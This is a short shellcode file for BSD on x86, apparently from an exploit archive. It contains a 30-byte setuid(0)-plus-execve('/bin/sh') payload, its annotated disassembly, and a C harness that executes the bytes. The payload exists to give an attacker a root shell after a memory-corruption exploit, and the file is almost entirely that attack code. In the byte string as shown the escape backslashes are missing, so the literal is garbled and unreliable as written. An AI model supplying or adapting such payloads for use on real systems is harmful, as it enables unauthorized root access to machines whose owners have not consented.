bsd/x86 setuid/execve shellcode 30 bytes

/*  * $Id: setuid-bsd.c,v 1.6 2004/06/02 12:22:30 raptor Exp $  *  * setuid-bsd.c - setuid/execve shellcode for *BSD/x86  * Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>  *  * Short setuid(0) and /bin/sh execve() shellcode (based on esdee's code).  *  * Tested on OpenBSD and FreeBSD.  */ /*  * setuid(0)  *  * 20c8:       31 c0                   xor    %eax,%eax  * 20ca:       50                      push   %eax  * 20cb:       50                      push   %eax  * 20cc:       b0 17                   mov    $0x17,%al  * 20ce:       cd 80                   int    $0x80  *  * execve("/bin/sh", ["/bin/sh"], NULL)  *  * 20d0:       31 c0                   xor    %eax,%eax  * 20d2:       50                      push   %eax  * 20d3:       68 2f 2f 73 68          push   $0x68732f2f  * 20d8:       68 2f 62 69 6e          push   $0x6e69622f  * 20dd:       89 e3                   mov    %esp,%ebx  * 20df:       50                      push   %eax  * 20e0:       54                      push   %esp  * 20e1:       53                      push   %ebx  * 20e2:       50                      push   %eax  * 20e3:       b0 3b                   mov    $0x3b,%al  * 20e5:       cd 80                   int    $0x80  */ char sc[] = /* 7 + 23 = 30 bytes */ "x31xc0x50x50xb0x17xcdx80" "x31xc0x50x68//shx68/binx89xe3x50x54x53x50xb0x3bxcdx80"; main() { int (*f)() = (int (*)())sc; f(); }